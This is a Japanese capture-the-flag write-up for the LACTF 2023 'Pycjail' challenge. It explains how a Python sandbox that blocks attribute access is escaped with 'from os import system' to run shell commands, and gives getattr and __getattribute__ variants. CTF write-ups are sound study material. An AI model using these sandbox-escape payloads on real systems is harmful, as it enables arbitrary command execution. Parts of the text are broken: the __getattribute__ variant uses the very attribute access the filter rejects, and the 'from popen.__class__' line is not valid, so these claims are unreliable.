LACTF 2023 - Pycjail
Challenge
特定の属性アクセスが禁止されているが、import 文は許可されている。
import ast
code = input()tree = ast.parse(code)
for node in ast.walk(tree): if isinstance(node, ast.Attribute): print("Attribute access not allowed!") exit()
exec(code)Solution
IMPORT_FROM = LOAD_ATTR
Python 3.9以降、IMPORT_FROM オペコードは内部的に LOAD_ATTR と同様に動作する。
# from os import system# 内部的に:# 1. IMPORT_NAME os (os モジュールをロード)# 2. IMPORT_FROM system (= LOAD_ATTR system)# 3. STORE_NAME system攻撃ペイロード
AST では from X import Y は ImportFrom ノードであり、Attribute ノードではない:
from os import systemsystem('id')より複雑なケース
属性のチェーンアクセスが必要な場合:
from os import popenfrom popen.__class__ import __bases__# ... 続くTechnical Details
AST ノードの違い
import ast
code1 = "os.system"print(ast.dump(ast.parse(code1)))# Attribute(value=Name(id='os'), attr='system')
# import from: ast.ImportFromcode2 = "from os import system"print(ast.dump(ast.parse(code2)))# ImportFrom(module='os', names=[alias(name='system')])バイトコードレベル
import dis
def f(): from os import system
dis.dis(f)# LOAD_CONST 0 (0)# LOAD_CONST 1 (('system',))# IMPORT_NAME 0 (os)# IMPORT_FROM 1 (system) <- LOAD_ATTR と同じ動作# STORE_FAST 0 (system)Alternative Solutions
別解1: getattr の使用
# getattr も Attribute を生成しないgetattr(__import__('os'), 'system')('id')別解2: getattribute
__import__('os').__getattribute__('system')('id')Flag
lactf{...}
References
- LACTF 2023 Official
- Python dis module
- CPython IMPORT_FROM implementation